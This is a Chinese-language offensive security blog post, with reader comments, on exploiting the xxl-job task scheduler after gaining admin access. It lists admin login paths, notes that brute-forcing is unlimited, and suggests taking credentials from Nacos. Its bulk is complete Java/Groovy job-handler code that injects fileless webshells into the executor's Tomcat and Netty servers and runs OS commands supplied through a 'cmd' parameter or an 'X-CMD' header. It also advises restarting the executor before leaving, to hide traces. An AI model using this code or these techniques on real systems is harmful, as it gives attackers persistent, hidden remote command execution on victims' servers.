xxl-job
xxl-job 是一个分布式任务调度平台,将任务调度这一行为抽象为调度中心平台,也就是分成了调度平台和执行器。近些时间感觉xxl-job的利用和实战莫名其妙多起来了,所以来学习一下xxl-job的利用
调度中心路径
暴露在外网的一般是调度中心,执行器一般都开在内网或者单机仅限127.0.0.1访问的情况。而xxl-job必须路径正确才能访问到后台,这个路径可以在application.properties文件里面修改
我常见的路径有:
/toLogin
/xxl-job-admin/toLogin
/xxljob/toLogin
/jobManage/toLogin
平时看见奇奇怪怪的路径就放到自己的指纹库里,说不定哪天就遇到了
路径正确后还需要正确密码才能访问后台,账号一般是admin,爆破无限制
可以尝试找nacos,然后去找是否存在xxl-job,nacos里面很大概率会存账号密码,这两个系统经常联用,而nacos的未授权很少有人会修
xxl-job的漏洞存在于后台的定时任务,这个功能可以使你在执行器上执行任意命令。当然在前台也存在老版本的未授权反序列化,在执行器上存在未授权和默认token漏洞,但实战较少
调度平台内存马
适用于调度平台和执行器在一台机器上的情况,原理是写一个agent内存马的jar到本地,再打agent内存马到调度平台的进程上,注意不是执行器的进程
注入代码:agent内存马
执行器内存马
tomcat内存马
适用于你能访问到执行器的情况,执行器的web接口使用的是netty,但他还存在一个web服务是基于spring的,默认端口为8081,对应配置文件在BOOT-INF/classes/application.properties
,正常来说是开启的。
作者原文地址:xxl-job-executor注入filter内存马
原理还是tomcat那一套,比较麻烦的是如何拿到StandardContext
。原作者测试环境为2.3.0,我在2.2.0上测试时发现有些格式和函数不同,如默认logger函数不同,execute函数固定返回类型必须为ReturnT<String>
作者原版代码
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.util.ArrayList;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
public Object getField(Object obj, String fieldName){
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobHelper.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobHelper.log(e.toString());
return null;
}
return obj;
}
public Object getSuperClassField(Object obj, String fieldName){
try {
Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobHelper.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobHelper.log(e.toString());
return null;
}
return obj;
}
public void execute() throws Exception {
Object obj = null;
String port = "";
String filterName = "xxl-job-filter";
// 1.创建filter
Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse resp = (HttpServletResponse) servletResponse;
if (req.getParameter("cmd") != null) {
// 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法,使用ArrayList的方式绕过
ArrayList<String> cmdList = new ArrayList<>();
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
cmdList.add("cmd.exe");
cmdList.add("/c");
} else {
cmdList.add("/bin/bash");
cmdList.add("-c");
}
cmdList.add(req.getParameter("cmd"));
String[] cmds = cmdList.toArray(new String[0]);
Process process = new ProcessBuilder(cmds).start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
String line;
while ((line = reader.readLine()) != null) {
servletResponse.getWriter().println(line);
}
process.destroy();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
};
//2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
//3. 创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//4. 创建ApplicationFilterConfig构造函数
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
//5. 找StandardContext
/*获取group*/
Thread currentThread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(currentThread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
for (Thread thread : threads) {
String threadName = thread.getName();
/*获取tomcat container*/
if (threadName.contains("container")) {
/*获取this$0*/
obj = getField(thread, "this\$0");
if (port == "") {
continue;
} else {
break;
}
} else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
/*获取web端口,可在log中查看,默认8081端口*/
port = threadName.substring(9, threadName.length() - 13);
if (obj == null){
continue;
} else {
break;
}
}
}
obj = getField(obj, "tomcat");
obj = getField(obj, "server");
org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");
for (org.apache.catalina.Service service : services){
try {
obj = getField(service, "engine");
if (obj != null) {
HashMap children = (HashMap)getSuperClassField(obj, "children");
// xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况
obj = children.get("localhost");
children = (HashMap)getSuperClassField(obj, "children");
// 获取StandardContext
StandardContext standardContext = (StandardContext) children.get("");
standardContext.addFilterDef(filterDef);
// 将FilterDefs 添加到FilterConfig
Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");
// 添加ApplicationFilterConfig
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(filterName,filterConfig);
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);
XxlJobHelper.log("success! memshell port:"+port);
}
} catch (Exception e){
XxlJobHelper.log(e.toString());
continue;
}
}
}
}
简易修改版
package com.xxl.job.service.handler;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.util.ArrayList;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.handler.IJobHandler;
import com.xxl.job.core.biz.model.ReturnT;
public class DemoGlueJobHandler extends IJobHandler {
public Object getField(Object obj, String fieldName){
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobLogger.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobLogger.log(e.toString());
return null;
}
return obj;
}
public Object getSuperClassField(Object obj, String fieldName){
try {
Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
field.setAccessible(true);
obj = field.get(obj);
} catch (IllegalAccessException e) {
XxlJobLogger.log(e.toString());
return null;
} catch (NoSuchFieldException e) {
XxlJobLogger.log(e.toString());
return null;
}
return obj;
}
@Override
public ReturnT<String> execute(String param) throws Exception {
Object obj = null;
String port = "";
String filterName = "xxl-job-filter";
// 1.创建filter
Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse resp = (HttpServletResponse) servletResponse;
if (req.getParameter("cmd") != null) {
// 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法,使用ArrayList的方式绕过
ArrayList<String> cmdList = new ArrayList<>();
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
cmdList.add("cmd.exe");
cmdList.add("/c");
} else {
cmdList.add("/bin/bash");
cmdList.add("-c");
}
cmdList.add(req.getParameter("cmd"));
String[] cmds = cmdList.toArray(new String[0]);
Process process = new ProcessBuilder(cmds).start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
String line;
while ((line = reader.readLine()) != null) {
servletResponse.getWriter().println(line);
}
process.destroy();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
};
//2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
//3. 创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//4. 创建ApplicationFilterConfig构造函数
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
//5. 找StandardContext
/*获取group*/
Thread currentThread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(currentThread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
for (Thread thread : threads) {
String threadName = thread.getName();
/*获取tomcat container*/
if (threadName.contains("container")) {
/*获取this$0*/
obj = getField(thread, "this\$0");
if (port == "") {
continue;
} else {
break;
}
} else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
/*获取web端口,可在log中查看,默认8081端口*/
port = threadName.substring(9, threadName.length() - 13);
if (obj == null){
continue;
} else {
break;
}
}
}
obj = getField(obj, "tomcat");
obj = getField(obj, "server");
org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");
for (org.apache.catalina.Service service : services){
try {
obj = getField(service, "engine");
if (obj != null) {
HashMap children = (HashMap)getSuperClassField(obj, "children");
// xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况
obj = children.get("localhost");
children = (HashMap)getSuperClassField(obj, "children");
// 获取StandardContext
StandardContext standardContext = (StandardContext) children.get("");
standardContext.addFilterDef(filterDef);
// 将FilterDefs 添加到FilterConfig
Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");
// 添加ApplicationFilterConfig
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(filterName,filterConfig);
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);
XxlJobLogger.log("success! memshell port:"+port);
}
} catch (Exception e){
XxlJobLogger.log(e.toString());
continue;
}
}
return ReturnT.SUCCESS;
}
}
然后访问执行器8081端口即可
netty内存马
执行器的默认端口是一个netty服务,当然也可以打内存马进去,方式就是遍历线程,找到NioEventLoop,替换一个handler进去
注入简单cmd内存马
package com.xxl.job.service.handler;
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.*;
import io.netty.handler.timeout.IdleStateHandler;
import io.netty.util.CharsetUtil;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.concurrent.TimeUnit;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
@ChannelHandler.Sharable
public class NettyThreadHandler extends ChannelDuplexHandler{
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
HttpRequest httpRequest = (HttpRequest)msg;
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = "";
ArrayList<String> cmdList = new ArrayList<>();
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
cmdList.add("cmd.exe");
cmdList.add("/c");
} else {
cmdList.add("/bin/bash");
cmdList.add("-c");
}
cmdList.add(cmd);
String[] cmds = cmdList.toArray(new String[0]);
Process process = new ProcessBuilder(cmds).start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
String line;
while ((line = reader.readLine()) != null) {
execResult =execResult+line;
}
process.destroy();
// 返回执行结果
send(ctx, execResult, HttpResponseStatus.OK);
}else {
ctx.fireChannelRead(msg);
}
}
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
public ReturnT<String> execute(String param) throws Exception{
XxlJobLogger.log("XXL-JOB, Hello World.");
try{
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field threads = group.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] allThreads = (Thread[]) threads.get(group);
for (Thread thread : allThreads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
try {
Object target;
try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");
} catch (Exception e) {
continue;
}
// NioEventLoop
if (target.getClass().getName().endsWith("NioEventLoop")) {
XxlJobLogger.log("NioEventLoop find");
HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
Object keys = set.toArray()[0];
// pipeline
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
// 替换 handler
Object aggregator = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
// 设置初始化
setFieldValue(aggregator, "childHandler", new ChannelInitializer<SocketChannel>() {
@Override
public void initChannel(SocketChannel channel) throws Exception {
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL
.addLast(new NettyThreadHandler());
}
});
XxlJobLogger.log("ok?");
break;
}
}
} catch (Exception ignored) {
XxlJobLogger.log(ignored.toString())
}
}
}
}catch (Exception e){
XxlJobLogger.log(e.toString())
}
return ReturnT.SUCCESS;
}
public Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null){
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}
踩的坑有groovy里的$
需要被转义,不然val$eventExecutor
会等价于eventExecutor
。注册的handler必须加上@ChannelHandler.Sharable
标签,否则会执行器会报错崩溃
最终效果如下:
坏消息是这个内存马的实现是替换了handler,所以原本执行逻辑会消失,建议跑路前重启一下执行器
Comments | 4 条评论
师傅你好,按照https://www.kitsch.life/wp-content/uploads/files/Agent%E5%86%85%E5%AD%98%E9%A9%AC.txt这里面的代码注入agent内存马之后怎么连接呢?试了下https://github.com/veo/vagent的链接: 以 /faviconb 结尾,密码:自定义加解密协议没成功
@2411124745 首先这个agent只能应用在admin和执行器在同一机器上的情况,如执行器为127.0.0.1:9999,如果没成功可以先去看一下agent是否落地,是否成功加载进入内存。你的连接方式是没有问题的,没成功只能按我说的自行排查了
师傅你好,我是用windows复现的,测试是生成了一个xxl-jobs.jar,但是运行这个jar包注入不成功。
然后用https://github.com/veo/vagent里的jar手动执行能注入成功,能问下这个base64怎么用jar包生成的嘛,我把vagent.jar用python转化为base64之后运行代码一直报错:解压缩时发生了数据格式错误,具体是因为头部检查不正确。报错:
java.lang.RuntimeException: java.util.zip.DataFormatException: incorrect header check at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance
@2411124745 那个base64就是agent jar本身,既然生成了xxl-jobs.jar,你可以先分析一下agent jar的原理,再判断你是哪里报错。建议用linux环境复现